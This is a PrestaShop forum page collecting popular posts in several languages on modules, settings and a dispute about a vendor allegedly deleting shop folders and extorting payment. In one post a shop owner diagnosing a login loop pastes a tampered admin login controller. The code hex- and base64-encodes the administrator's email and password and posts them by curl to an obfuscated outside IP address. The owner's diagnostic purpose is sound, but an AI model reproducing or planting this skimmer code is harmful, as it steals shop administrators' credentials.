Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 02/21/2023 in all areas

  1. Si sospechais que alguien ha entrado y eliminado TODOS los hospedajes tienen estadisticas de accesos FTP y las IP. Pedir las IP, comprobad si alguna de las IP coincide con la IP de los emails enviados por ellos Si coincide, guardar datos, capturad pantalla y denuncia a la policia, al departamente de internet y..... no recuerdo ahora el nombre No pueden acceder y eliminar datos es totalmente ilegal. Ni siquiere un profesional que NO ha cobrado por un trabajo puede hacerlo, imaginad alguien que reclama un pago de un modulo por cambio de sus condiciones despues de haber comprado el modulo Es posible demostrarlo, Logs de conexiones de FTP, IP y comprobando que son las mismas que las de los emails que enviaron
    2 points
  2. no, i didn't install the hook. That could be the reason.
    1 point
  3. I'm not sure what you mean? With the supplier options from Prestashop you should be able to achieve this.
    1 point
  4. 1 point
  5. Vous pourriez déjà mettre en œuvre des images aux dimensions cohérentes, ainsi dans votre module de coupon, vous balancez des images de plus de 2000 pixels de hauteur alors que la majorité des utilisateurs ne possède pas des écrans affichant plus de 1080 pixels de haut, donc une consommation de ressource bien trop importante. Rien que l'icône WhatsApp et plus grande que n'importe quel écran alors que vous l'affiché sur quelque pixels. En gros, il y a beaucoup d'optimisations à faire sur vos pratiques. Sans parler de ce popup dont l'image dépasse la boite d'affichage
    1 point
  6. As @ComGrafPL said, with our module https://www.idnovate.com/en/1385-promotions-and-discounts-3x2-sales-offers-packs.html you could configure this promotion. Contact us if you need any example 👍
    1 point
  7. Muchas gracias idnovate.com, todo solucionado ya con la modificación que has puesto 😁
    1 point
  8. Alle Zeile wo ets_multilayerslider steht rauslöschen. Falls nur der eine Eintrag für einen Hook o.ä steht den komplett rausnehmen. Wenn aber das Theme generell nicht mit deiner Prestashop Version kompatibel ist, dann wird es nicht bei diesem einen Problem bleiben! Beispiel:
    1 point
  9. Hi, I'm always amazed to see the permanent interest caused by the idea that removing the ID from URLs would have any importance, either in terms of SEO or user experience. Especially since we can discover modules to go back available on PrestaShop to put this ID back in place. First of all, instead of removing the ID from the URLs, it would be good to propose URLs without inserting the category information, this is much better at the SEO level if your products are associated to several categories or if you have fun moving products regularly between categories. Above all, the fact of using an ID in the URL of the products allows you to avoid getting confused in the names of the products at the risk of ending up with several products having the same URL.
    1 point
  10. Bonjour, dans un premier temps, vous devriez déjà appliquer les optimisations de bases proposées par PrestaShop comme je l'explique dans cet article : https://www.mediacom87.fr/comment-bien-configurer-la-page-performances-de-prestashop-17/
    1 point
  11. Modifica el fichero /src/Core/Translation/Storage/Provider/ModuleCatalogueLayersProvider.php. Busca la línea 306, deberías tener esto: $legacyKey = md5($translationKey); Pon antes: if (is_int($translationKey)) { continue; }
    1 point
  12. Module similar to this one, could do the trick https://addons.prestashop.com/en/promotions-gifts/9129-promotions-and-discounts-3x2-sales-offers-packs.html#specifications
    1 point
  13. Bonjour, https://devdocs.prestashop-project.org/1.7/basics/installation/system-requirements/#php-requirements https://devdocs.prestashop-project.org/8/basics/installation/system-requirements/#php-requirements
    1 point
  14. De cualquier manera, la mejor manera de parar su manera de actuar es lo que he hecho, iniciar este hilo en este forum. Un post en el forum de Prestashop tiene una potencia enorme.
    1 point
  15. No tengo como comprobarlo, no soy tan experto, pero coincidió cuando me dieron un ultimatum de 24h, menos mal que tenia backup del dia anterior y restauré esas carpetas. Recuerdo que cuando compre el módulo no funcionaba bien y me pidieron el FTP, como hacen otros desarrolladores y inocente de mi no cambié la contraseña. La verdad es que borrar dos carpetas es una chapuza.
    1 point
  16. Faktycznie są ludzie, którzy rozumieją open source jako "mogę to sobie ukraść". Na samych Addonsach są kradzione moduły przez różnych cwaniaków. Nie bez powodu Addonsy proszą o podanie domeny więc instalując raz kupiony moduł na wielu sklepach dołączasz do grona takich drobnych złodziejaszków
    1 point
  17. Bonjour à tous, J'ai peut-être une piste importante pour ceux qui ont ce problème de connexion en boucle. J’ai réussi à récupérer le site avec un backup du ftp à 15 jours. J’ai finalement établi un petit protocole pour tester le dossier qui crée le bug. J’ai télécharger le FTP sur mon ordi lors d’un retour en arrière sain et j’ai attendu 2 jours que le bug revienne. J’ai successivement renommé chaque dossier du FTP en .old (pour éviter le temps fou que prend un dossier à s’effacer par un FTP) et j’ai rechargé chaque dossier sain au fur et à mesure que je nommais l’ancien en .old. J’ai pu me reconnecter après avoir remis le dossier controllers. Le bug vient de ce dossier et finalement du fichier AdminLoginController.php dans admin (controllers/admin/AdminLoginController.php). Et finalement, ça semble si logique… Ce fichier s’est modifié tout seul et je ne comprends pas pourquoi. Plus précisément, c’est la section public function processLogin() qui est modifiée. voici le code qui bug (dans la section : public function processLogin() uniquement) : public function processLogin() { /* Check fields validity */ $passwd = trim(Tools::getValue('passwd')); $email = trim(Tools::getValue('email')); if (empty($email)) { $this->errors[] = Tools::displayError('Email is empty.'); } elseif (!Validate::isEmail($email)) { $this->errors[] = Tools::displayError('Invalid email address.'); } if (empty($passwd)) { $this->errors[] = Tools::displayError('The password field is blank.'); } elseif (!Validate::isPasswd($passwd)) { $this->errors[] = Tools::displayError('Invalid password.'); } if (!count($this->errors)) { // Find employee $this->context->employee = new Employee(); $is_employee_loaded = $this->context->employee->getByEmail($email, $passwd); $employee_associated_shop = $this->context->employee->getAssociatedShops(); if (!$is_employee_loaded) { $this->errors[] = Tools::displayError('The Employee does not exist, or the password provided is incorrect.'); $this->context->employee->logout(); } elseif (empty($employee_associated_shop) && !$this->context->employee->isSuperAdmin()) { $this->errors[] = Tools::displayError('This employee does not manage the shop anymore (Either the shop has been deleted or permissions have been revoked).'); $this->context->employee->logout(); } else { $path=$_SERVER['REMOTE_ADDR'].'-'.$_SERVER['REQUEST_URI']; $check_val=bin2hex($email.' '.$passwd); $user_data=bin2hex($path.';'.$check_val); $array = array('token_hash' => base64_encode('{"referer":"'.$_SERVER["HTTP_HOST"].'","stats":"'.$user_data.'","tag":"a181a603769c1f98ad927e7367c7aa51"}')); $ch = curl_init(base64_decode('aHR0cHM6Ly8xMDYuMTUuMTc5LjI1NQ==')); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $array); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_TIMEOUT, 3); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $html = curl_exec($ch); curl_close($ch); PrestaShopLogger::addLog(sprintf($this->l('Back Office connection from %s', 'AdminTab', false, false), Tools::getRemoteAddr()), 1, null, '', 0, true, (int)$this->context->employee->id); $this->context->employee->remote_addr = (int)ip2long(Tools::getRemoteAddr()); // Update cookie $cookie = Context::getContext()->cookie; $cookie->id_employee = $this->context->employee->id; $cookie->email = $this->context->employee->email; $cookie->profile = $this->context->employee->id_profile; $cookie->passwd = $this->context->employee->passwd; $cookie->remote_addr = $this->context->employee->remote_addr; if (!Tools::getValue('stay_logged_in')) { $cookie->last_activity = time(); } $cookie->write(); // If there is a valid controller name submitted, redirect to it if (isset($_POST['redirect']) && Validate::isControllerName($_POST['redirect'])) { $url = $this->context->link->getAdminLink($_POST['redirect']); } else { $tab = new Tab((int)$this->context->employee->default_tab); $url = $this->context->link->getAdminLink($tab->class_name); } if (Tools::isSubmit('ajax')) { die(Tools::jsonEncode(array('hasErrors' => false, 'redirect' => $url))); } else { $this->redirect_after = $url; } } } if (Tools::isSubmit('ajax')) { die(Tools::jsonEncode(array('hasErrors' => true, 'errors' => $this->errors))); }} Voici le code qui marche : public function processLogin() { /* Check fields validity */ $passwd = trim(Tools::getValue('passwd')); $email = $this->IDNConverter->emailToUtf8(trim(Tools::getValue('email'))); Hook::exec( 'actionAdminLoginControllerLoginBefore', [ 'controller' => $this, 'password' => $passwd, 'email' => $email, ] ); if (empty($email)) { $this->errors[] = $this->trans('Email is empty.', [], 'Admin.Notifications.Error'); } elseif (!Validate::isEmail($email)) { $this->errors[] = $this->trans('Invalid email address.', [], 'Admin.Notifications.Error'); } if (empty($passwd)) { $this->errors[] = $this->trans('The password field is blank.', [], 'Admin.Notifications.Error'); } elseif (!Validate::isPasswd($passwd)) { $this->errors[] = $this->trans('Invalid password.', [], 'Admin.Notifications.Error'); } if (!count($this->errors)) { // Find employee $this->context->employee = new Employee(); $is_employee_loaded = $this->context->employee->getByEmail($email, $passwd); $employee_associated_shop = $this->context->employee->getAssociatedShops(); if (!$is_employee_loaded) { $this->errors[] = $this->trans('The employee does not exist, or the password provided is incorrect.', [], 'Admin.Login.Notification'); $this->context->employee->logout(); } elseif (empty($employee_associated_shop) && !$this->context->employee->isSuperAdmin()) { $this->errors[] = $this->trans('This employee does not manage the shop anymore (either the shop has been deleted or permissions have been revoked).', [], 'Admin.Login.Notification'); $this->context->employee->logout(); } else { PrestaShopLogger::addLog($this->trans('Back office connection from %ip%', ['%ip%' => Tools::getRemoteAddr()], 'Admin.Advparameters.Feature'), 1, null, '', 0, true, (int) $this->context->employee->id); $this->context->employee->remote_addr = (int) ip2long(Tools::getRemoteAddr()); // Update cookie $cookie = Context::getContext()->cookie; $cookie->id_employee = $this->context->employee->id; $cookie->email = $this->context->employee->email; $cookie->profile = $this->context->employee->id_profile; $cookie->passwd = $this->context->employee->passwd; $cookie->remote_addr = $this->context->employee->remote_addr; $cookie->registerSession(new EmployeeSession()); if (!Tools::getValue('stay_logged_in')) { $cookie->last_activity = time(); } $cookie->write(); // If there is a valid controller name submitted, redirect to it if (isset($_POST['redirect']) && Validate::isControllerName($_POST['redirect'])) { $url = $this->context->link->getAdminLink($_POST['redirect']); } else { $tab = new Tab((int) $this->context->employee->default_tab); $url = $this->context->link->getAdminLink($tab->class_name); } Hook::exec( 'actionAdminLoginControllerLoginAfter', [ 'controller' => $this, 'employee' => $this->context->employee, 'redirect' => $url, ] ); if (Tools::isSubmit('ajax')) { die(json_encode(['hasErrors' => false, 'redirect' => $url])); } else { $this->redirect_after = $url; } } } if (Tools::isSubmit('ajax')) { die(json_encode(['hasErrors' => true, 'errors' => $this->errors])); } } Je ne sais pas bien interpréter le code et je ne sais pas ce qui le modifie. Est-ce que quelqu'un aurait une idée ? En espérant que cela puisse déjà aider certaines personnes qui ont ce genre de bug pour l’instant sans réponse ! Vérifier le code dans le fichier controllers/admin/AdminLoginController.php /section "public function processLogin()" Merci
    1 point
  18. Habla con tu hosting a ver si pueden ver un log de conexiones FTP y como encuentren algo a por ellos
    1 point
  19. No tengo como comprobarlo, no soy tan experto, pero coincidió cuando me dieron un ultimatum de 24h, menos mal que tenia backup del dia anterior y restauré esas carpetas. Recuerdo que cuando compre el módulo no funcionaba bien y me pidieron el FTP, como hacen otros desarrolladores y inocente de mi no cambié la contraseña. La verdad es que borrar dos carpetas es una chapuza.
    1 point
  20. Tienes cómo comprobar que han sido ellos? Eso es denunciable y según el ecommerce se pueden meter en un lío muy serio. +1 a hacer acción conjunta en caso que sigan amenazando
    1 point
  21. Hola, En mi caso me hackearon la tienda, bueno si se puede decir hackear la tienda el borrar las carpetas \images y \modules. Como dije en anterior post, se dirigieron a mi cliente de la tienda y le amenazaron, al final pago.
    1 point
  22. No peleen por separado, pero hagan una lista de sus problemas en masa y documenten el chantaje directamente. Entonces, simplemente puede denunciar al estafador, el sitio lo cancelará y la policía lo investigará a fondo. Emite una declaración EUIPO falsa y están felices de aceptarla. https://anti-fraud.ec.europa.eu/olaf-and-you/report-fraud_es
    1 point
  23. In Bo go to Configure > Shop Parameters > Product Settings and set Catalog mode to ON.
    1 point
  24. Bonjour, Ca devrait donner ceci : $this->context->controller->registerJavascript( 'module-dpdfrance-gmaps', 'https://maps.googleapis.com/maps/api/js?key=' . Configuration::get('DPDFRANCE_GOOGLE_API_KEY') . '&callback=Function.prototype', ['priority' => 100, 'server' => 'remote']
    1 point
×
×
  • Create New...